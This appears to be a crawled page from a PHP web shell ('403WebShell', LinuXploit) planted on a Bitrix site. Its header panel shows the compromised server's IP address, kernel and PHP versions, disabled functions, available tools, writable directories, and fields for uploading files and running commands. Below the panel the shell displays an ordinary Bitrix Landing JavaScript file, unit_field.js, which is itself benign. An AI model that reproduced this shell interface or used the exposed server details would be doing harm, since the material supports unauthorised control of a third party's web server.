%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.217.37.129
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field//unit_field.js
;(function() {
	"use strict";

	BX.namespace("BX.Landing.UI.Field");


	/**
	 * Implements unit field interface
	 *
	 * @extends {BX.Landing.UI.Field.Text}
	 *
	 * @param data
	 * @constructor
	 */
	BX.Landing.UI.Field.Unit = function(data)
	{
		BX.Landing.UI.Field.Text.apply(this, arguments);
		this.layout.classList.add("landing-ui-field-unit");
		this.unit = BX.Landing.UI.Field.Unit.createUnit();

		this.onInputHandler = typeof data.onInput === "function" ? data.onInput : (function() {});
		this.input.addEventListener("keydown", this.onInputKeydown.bind(this));
		this.input.addEventListener("input", BX.debounce(this.onInputInput, 200, this));
		this.input.addEventListener("input", this.onInputInputWithoutDebounce.bind(this));
		this.input.value = data.content;
		this.input.placeholder = this.placeholder;
		this.items = data.items;
		this.unit.innerText = typeof data.unit === "string" ? data.unit : "";
		this.input.min = typeof data.min === "number" ? data.min : 0;
		this.input.max = typeof data.max === "number" ? data.max : Infinity;
		this.input.step = typeof data.step === "number" ? data.step : 1;
		this.frame = typeof data.frame === "object" ? data.frame : null;
		this.selector = typeof data.selector === "string" ? data.selector : null;
		this.property = typeof data.property === "string" ? data.property : null;
		this.postfix = typeof data.postfix === "string" ? data.postfix : "";
		this.format = typeof data.format === "function" ? data.format : (function() {});
		this.elements = null;

		if (this.frame)
		{
			this.onFrameLoad();
		}

		this.layout.appendChild(this.unit);
		this.enableTextOnly();
	};


	BX.Landing.UI.Field.Unit.createUnit = function()
	{
		return BX.create("div", {props: {className: "landing-ui-field-unit-unit"}});
	};


	BX.Landing.UI.Field.Unit.prototype = {
		constructor: BX.Landing.UI.Field.Unit,
		__proto__: BX.Landing.UI.Field.Text.prototype,

		onFrameLoad: function()
		{
			this.elements = [].slice.call(this.frame.document.querySelectorAll(this.selector));

			if (this.elements.length)
			{
				var value = parseFloat(BX.style(this.elements[0], this.property));
				value = value === value ? value : 0;
				this.setValue(value);
			}
		},


		/**
		 * Handles input event on field input
		 */
		onInputInput: function()
		{
			this.onInputHandler(this);
		},


		onInputInputWithoutDebounce: function()
		{
			if (!!this.elements)
			{
				this.elements.forEach(function(element) {
					this.format(element, this.getValue(), this.items);
				}, this);
			}
		},


		/**
		 * Handles keydown event on field input
		 * @param {Object} event
		 */
		onInputKeydown: function(event)
		{
			if (event.keyCode === 13)
			{
				event.preventDefault();
			}
		},


		/**
		 * Creates input element
		 * @return {HTMLElement}
		 */
		createInput: function()
		{
			return BX.create("input", {props: {
				className: "landing-ui-field-input",
				type: "number"
			}});
		},


		/**
		 * Sets field value
		 * @param value
		 */
		setValue: function(value)
		{
			this.input.value = value;
			BX.fireEvent(this.input, "input");
		},


		/**
		 * Gets field value
		 * @return {number}
		 */
		getValue: function()
		{
			return this.input.value;
		},


		/**
		 * Enables edit
		 */
		enableEdit: function()
		{
			if (this !== BX.Landing.UI.Field.BaseField.currentField && BX.Landing.UI.Field.BaseField.currentField !== null)
			{
				/** Disable preview active field */
				BX.Landing.UI.Field.BaseField.currentField.disableEdit();
			}

			/** Set this field as active */
			BX.Landing.UI.Field.BaseField.currentField = this;

			/** Adjust input focus */
			this.input.focus();
		},


		/**
		 * Disables edit
		 */
		disableEdit: function()
		{

		}
	};
})();

Youez - 2016 - github.com/yon3zu
LinuXploit